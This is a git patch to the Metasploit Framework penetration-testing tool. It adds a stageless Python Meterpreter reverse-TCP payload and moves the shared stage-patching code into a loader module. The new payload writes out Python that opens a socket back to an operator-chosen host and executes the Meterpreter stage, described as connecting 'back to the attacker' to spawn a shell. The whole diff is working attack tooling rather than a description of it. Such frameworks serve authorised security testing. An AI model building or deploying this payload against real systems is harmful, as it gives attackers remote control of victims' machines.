From 8bb694fa5c372a620c701269766f9fc891150715 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 21 Oct 2015 18:23:04 -0400 Subject: [PATCH] Add stageless Python Meterpreter for reverse tcp --- .../core/payload/python/meterpreter_loader.rb | 72 +++++++++++++++++++ .../singles/python/meterpreter_reverse_tcp.rb | 44 ++++++++++++ modules/payloads/stages/python/meterpreter.rb | 30 +++----- 3 files changed, 124 insertions(+), 22 deletions(-) create mode 100644 lib/msf/core/payload/python/meterpreter_loader.rb create mode 100644 modules/payloads/singles/python/meterpreter_reverse_tcp.rb diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb new file mode 100644 index 0000000000..3b64d384c7 --- /dev/null +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -0,0 +1,72 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid/options' + +module Msf + +### +# +# Common module stub for ARCH_PYTHON payloads that make use of Meterpreter. +# +### + +module Payload::Python::MeterpreterLoader + + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Meterpreter & Configuration', + 'Description' => 'Run Meterpreter & the configuration stub', + 'Author' => [ 'Spencer McIntyre' ], + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Stager' => {'Payload' => ""} + )) + + register_advanced_options([ + OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ]) + ], self.class) + end + + # Get the raw Python Meterpreter stage and patch in values based on the + # configuration + # + # @param opts [Hash] The options to use for patching the stage data. + # @option opts [String] :stageless_tcp_socket_setup Python code to execute to + # setup a tcp socket to allow use of the stage as a stageless payload. + # @option opts [String] :uuid A specific UUID to use for sessions created by + # this stage. + def stage_meterpreter(opts={}) + met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') + + if datastore['PythonMeterpreterDebug'] + met = met.sub("DEBUGGING = False", "DEBUGGING = True") + end + + met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") + met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") + met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}") + met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}") + + uuid = opts[:uuid] || generate_payload_uuid + uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') + met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") + + # patch in any optional stageless tcp socket setup + unless opts[:stageless_tcp_socket_setup].nil? + socket_setup = opts[:stageless_tcp_socket_setup] + socket_setup = socket_setup.split("\n") + socket_setup.map! {|line| "\t\t#{line}\n"} + socket_setup = socket_setup.join + met.sub!("\t\t# PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup) + end + + met + end + +end + +end diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000..f4aabdd443 --- /dev/null +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' +require 'msf/core/payload/python/reverse_tcp' +require 'msf/base/sessions/meterpreter_python' + +module Metasploit4 + + CachedSize = 49398 + + include Msf::Payload::Single + include Msf::Payload::Python + include Msf::Payload::Python::ReverseTcp + include Msf::Payload::Python::MeterpreterLoader + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Meterpreter Shell, Reverse TCP Inline', + 'Description' => 'Connect back to the attacker and spawn a Meterpreter shell', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + end + + def generate_reverse_tcp(opts={}) + socket_setup = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" + socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" + opts[:stageless_tcp_socket_setup] = socket_setup + + met = stage_meterpreter(opts) + py_create_exec_stub(met) + end + +end diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index b201d09420..3c668327b5 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -5,43 +5,29 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/python' +require 'msf/core/payload/python/meterpreter_loader' require 'msf/base/sessions/meterpreter_python' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 - include Msf::Sessions::MeterpreterOptions +module Metasploit4 + + include Msf::Payload::Python::MeterpreterLoader def initialize(info = {}) super(update_info(info, 'Name' => 'Python Meterpreter', - 'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.4)', + 'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.5)', 'Author' => 'Spencer McIntyre', 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter_Python_Python )) - register_advanced_options([ - OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ]) - ], self.class) end def generate_stage(opts={}) - met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') - - if datastore['PythonMeterpreterDebug'] - met = met.sub("DEBUGGING = False", "DEBUGGING = True") - end - - met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}") - met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") - met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}") - met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}") - - uuid = opts[:uuid] || generate_payload_uuid - uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') - met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") - - met + stage_meterpreter(opts) end + end